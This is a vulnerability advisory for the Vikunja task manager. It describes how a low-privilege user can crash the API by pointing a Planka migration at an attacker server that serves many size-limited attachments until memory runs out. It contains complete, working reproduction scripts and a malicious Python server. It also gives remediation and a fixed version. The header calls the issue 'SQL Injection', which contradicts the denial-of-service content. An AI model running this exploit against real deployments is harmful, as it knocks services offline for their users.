GHSA-wq92-8x3r-fm38: SQL Injection
Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
Impact and affected scope
- Type: Resource Exhaustion Dos - Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - Verified revision: d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026 - Affected release range: > 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproduced
A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
- pkg/routes/api/v2/migrationcredentials.go:35 - pkg/routes/api/v2/migrationshared.go:73 - pkg/routes/api/v2/migrationshared.go:95 - pkg/modules/migration/planka/client.go:37 - pkg/modules/migration/planka/client.go:356 - pkg/modules/migration/planka/fetch.go:29 - pkg/modules/migration/planka/fetch.go:32 - pkg/modules/migration/planka/convert.go:275 - pkg/modules/migration/planka/convert.go:280 - pkg/modules/migration/planka/convert.go:293 - pkg/modules/migration/planka/planka.go:86 - pkg/modules/migration/planka/planka.go:100
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
text FROM golang:1.27-bookworm AS builder
WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/
WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh
Create reproduction/verify.sh:
sh #!/usr/bin/env bash set -euo pipefail
test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJAOUTGOINGREQUESTSALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs export VIKUNJADATABASETYPE=sqlite export VIKUNJADATABASEPATH=/work/vikunja.db export VIKUNJAFILESBASEPATH=/work/files export VIKUNJALOGPATH=/work/logs export VIKUNJASERVICEROOTPATH=/work export VIKUNJASERVICEINTERFACE=0.0.0.0:3456 export VIKUNJASERVICEPUBLICURL=http://127.0.0.1:3456/ export VIKUNJASERVICEFRONTENDURL=http://127.0.0.1:3456/
python3 /app/maliciousplanka.py > /work/planka.log 2>&1 & PLANKAPID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJAPID=$! cleanup() { if kill -0 "${VIKUNJAPID}" 2>/dev/null; then kill "${VIKUNJAPID}" 2>/dev/null || true wait "${VIKUNJAPID}" 2>/dev/null || true fi if kill -0 "${PLANKAPID}" 2>/dev/null; then kill "${PLANKAPID}" 2>/dev/null || true wait "${PLANKAPID}" 2>/dev/null || true fi } trap cleanup EXIT
for in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTERCODE="$(curl -sS -o /work/register.json -w '%{httpcode}' \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \ http://127.0.0.1:3456/api/v2/register)" test "${REGISTERCODE}" = "201" curl -fsS \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","password":"PoC-Test-Password-123!","longtoken":false}' \ http://127.0.0.1:3456/api/v2/login > /work/login.json TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')" test -n "${TOKEN}"
BASELINERSSKIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJAPID}/status")" OOMBEFORE="$(awk '$1 == "oomkill" {print $2}' /sys/fs/cgroup/memory.events)" MIGRATECODE="$(curl -sS -o /work/migrate.json -w '%{httpcode}' \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \ http://127.0.0.1:3456/api/v2/migration/planka/migrate)" test "${MIGRATECODE}" = "200"
for in $(seq 1 90); do if ! kill -0 "${VIKUNJAPID}" 2>/dev/null; then break fi sleep 1 done if kill -0 "${VIKUNJAPID}" 2>/dev/null; then echo "[PoC] target survived unexpectedly" >&2 tail -n 80 /work/vikunja.log >&2 tail -n 80 /work/planka.log >&2 exit 1 fi
set +e wait "${VIKUNJAPID}" TARGETEXIT=$? set -e OOMAFTER="$(awk '$1 == "oomkill" {print $2}' /sys/fs/cgroup/memory.events)" ATTACHMENTSSERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"
test "${OOMAFTER}" -gt "${OOMBEFORE}" test "${TARGETEXIT}" -eq 137 test "${ATTACHMENTSSERVED}" -ge 4 kill -0 "${PLANKAPID}" if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then echo "[PoC] health endpoint remained available after target exit" >&2 exit 1 fi
kill "${PLANKAPID}" 2>/dev/null || true wait "${PLANKAPID}" 2>/dev/null || true trap - EXIT echo "[PoC] evidence: migratestatus=${MIGRATECODE} publicattackerip=93.184.216.34 attachmentsserved=${ATTACHMENTSSERVED} baselinersskib=${BASELINERSSKIB} targetexit=${TARGETEXIT} oomkilldelta=$((OOMAFTER - OOMBEFORE))" echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"
Create reproduction/run.sh:
sh #!/usr/bin/env bash set -euo pipefail
SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" FINDINGDIR="$(cd "${SCRIPTDIR}/.." && pwd)" SESSIONDIR="$(cd "${FINDINGDIR}/.." && pwd)" if [[ "$(basename "${SESSIONDIR}")" == "artifacts" ]]; then SESSIONDIR="$(cd "${SESSIONDIR}/.." && pwd)" fi CASEID="$(basename "${SESSIONDIR}")" FINDINGNAME="$(basename "${FINDINGDIR}")" IMAGETAG="PoC-${CASEID}-${FINDINGNAME}" NETWORKNAME="${IMAGETAG}-net-$$" TARGETREPOURL="https://github.com/go-vikunja/vikunja.git" TARGETREF="d66ef3d1a39c6f7289593059a1a34afd1d059260" WORKDIR="$(mktemp -d "${SESSIONDIR}/.PoC-repro.XXXXXX")" NETWORKCREATED=false cleanup() { if [[ "${NETWORKCREATED}" == "true" ]]; then docker network rm "${NETWORKNAME}" > /dev/null 2>&1 || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT TARGETREPODIR="${WORKDIR}/repo"
echo "[PoC] cloning target repository" git clone --filter=blob:none --no-checkout "${TARGETREPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --detach "${TARGETREF}" printf '\n.git\n' >> "${TARGETREPODIR}/.dockerignore"
echo "[PoC] building reproduction image: ${IMAGETAG}" docker build \ --build-context "target=${TARGETREPODIR}" \ -t "${IMAGETAG}" \ "${SCRIPTDIR}"
echo "[PoC] creating isolated public-address test network" docker network create --subnet 93.184.216.0/24 "${NETWORKNAME}" > /dev/null NETWORKCREATED=true
echo "[PoC] running exploit trigger and verification" docker run --rm \ --network "${NETWORKNAME}" \ --ip 93.184.216.34 \ --memory=256m \ --memory-swap=256m \ -v "${TARGETREPODIR}:/target-repo:ro" \ "${IMAGETAG}" \ /app/verify.sh
echo "[PoC] SUCCESS: reproduction completed and verified"
Create reproduction/maliciousplanka.py:
python #!/usr/bin/env python3 import json import os import threading from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
ATTACHMENTCOUNT = 24 ATTACHMENTBYTES = 20 1024 1024 counter = 0 counterlock = threading.Lock()
class Handler(BaseHTTPRequestHandler): protocolversion = "HTTP/1.1"
def logmessage(self, fmt, args): print(fmt % args, flush=True)
def sendjson(self, payload): body = json.dumps(payload, separators=(",", ":")).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def doDELETE(self): self.sendresponse(204) self.sendheader("Content-Length", "0") self.endheaders()
def doGET(self): global counter if self.path == "/api/users/me": self.sendjson({"item": {"id": "attacker"}}) return if self.path == "/api/projects": self.sendjson( { "items": [{"id": "p1", "name": "attacker project"}], "included": { "boards": [ {"id": "b1", "name": "board", "projectId": "p1", "position": 1} ], "baseCustomFieldGroups": [], "customFields": [], }, } ) return if self.path == "/api/boards/b1": attachments = [ { "id": f"a{i}", "type": "file", "name": f"aggregate-{i}.bin", "cardId": "c1", "data": {"mimeType": "application/octet-stream"}, } for i in range(ATTACHMENTCOUNT) ] self.sendjson( { "item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1}, "included": { "users": [], "labels": [], "lists": [ {"id": "l1", "name": "active", "type": "active", "position": 1} ], "cards": [ {"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0} ], "cardLabels": [], "taskLists": [], "tasks": [], "attachments": attachments, "customFieldGroups": [], "customFields": [], "customFieldValues": [], }, } ) return if self.path.startswith("/attachments/"): self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Length", str(ATTACHMENTBYTES)) self.endheaders() chunk = b"A" 65536 try: for in range(ATTACHMENTBYTES // len(chunk)): self.wfile.write(chunk) except (BrokenPipeError, ConnectionResetError): return with counterlock: counter += 1 with open("/work/attachment-count", "w", encoding="ascii") as countfile: countfile.write(str(counter)) countfile.flush() os.fsync(countfile.fileno()) return self.sendresponse(404) self.sendheader("Content-Length", "0") self.endheaders()
ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serveforever()
From the directory containing these files, run:
sh chmod +x reproduction/run.sh reproduction/.sh 2>/dev/null || true ./reproduction/run.sh
Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.
Observed: The final run returned migratestatus=200 using publicattackerip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oomkill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.
Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oomkill increment, surviving attacker server, and failed health.
Observed evidence:
- migratestatus=200 - publicattackerip=93.184.216.34 - attachmentsserved=5 - baselinersskib=68064 - targetexit=137 - oomkilldelta=1 - [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530) - Liyi Zhou (@lzhou1110) - Strick Sheng (@Str1ckl4nd) - Maurice Ng (@mauriceng98) - Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/code.vikunja.io/apito a version that resolves this vulnerability.Fixed in 2.6.0 - Compensating control
For the Planka migration endpoint and asynchronous migration worker, enforce authorization plus aggregate size, cardinality, recursion, and lifecycle boundaries before fetching or retaining remote attachment data; fail closed when limits are exceeded and release partially fetched resources on every exit path.
- Operational
Add a regression test covering the attachment-memory exhaustion exploit, including the negative-control oracles described in the verification.